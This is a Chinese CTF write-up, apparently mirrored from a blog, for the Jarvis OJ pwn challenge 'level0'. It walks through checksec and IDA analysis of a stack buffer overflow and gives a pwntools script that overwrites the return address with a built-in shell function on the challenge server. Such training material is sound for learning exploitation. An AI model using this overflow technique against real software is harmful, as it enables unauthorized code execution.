zoukankan      html  css  js  c++  java
  • Jarvis OJ

    Jarvis OJ - [XMAN]level0 - Writeup

    M4x原创,转载请标明出处http://www.cnblogs.com/WangAoBo/p/7591552.html

    来补jarvis pwn的分析了,之后几天会全都补回来

    tell me something与level0类似,不再写详细Writeup

    题目:

    分析:

    • 拿到文件先checksec检查保护机制

      No canary found, No PIE,妥妥的栈溢出

    • 拖到64位IDA中查看详细信息,先搜索字符串,直接就有了/bin/sh。。。

    • 双击定位到字符串出现位置,进入callsystem函数,F5反汇编,发现了一个已经写好的可以get shell的函数

    • 再查看vulnerable_function函数,read可以读入0x200,即512个字符,而从buf到vulnerable_function的返回地址只有0x80+0x8,即136个字节 < 512,因此可以覆盖vulnerable_function的返回地址为call_system函数地址,即可getshell,此时程序的流程如下图:

      灰色箭头代表覆盖vulnable_function返回地址之前的执行顺序

    步骤:

    • 根据如上分析,直接放exp

       1 #!/usr/bin/env python
       2 # -*- coding: utf-8 -*-
       3 __Auther__ = 'M4x'
       4 
       5 from pwn import *
       6 
       7 context.log_level = 'debug'
       8 
       9 elf = ELF('./level0')
      10 callsys_addr = elf.symbols['callsystem']
      11 
      12 #  io = process('./level0')
      13 io = remote('pwn2.jarvisoj.com', 9881)
      14 io.recvuntil('World
      ')
      15 
      16 payload = 'A' * (0x80 + 0x8) + p64(callsys_addr)
      17 io.send(payload)
      18 
      19 io.interactive()
      20 io.close()

      运行,cat flag如下

  • 相关阅读:
    Delphi 连接 Paradox
    编译MangosZero
    关于StartCoroutine的简单线程使用
    cocos2dc-x解决中文乱码
    C++类构造函数初始化列表
    dynamic_cast
    cocos2d-x for android:SimpleGame分析
    C++宏定义详解
    四 AndEngine 画线
    三 最简单的 AndEngine 程序框架
  • 原文地址:https://www.cnblogs.com/WangAoBo/p/7591552.html
Copyright © 2011-2022 走看看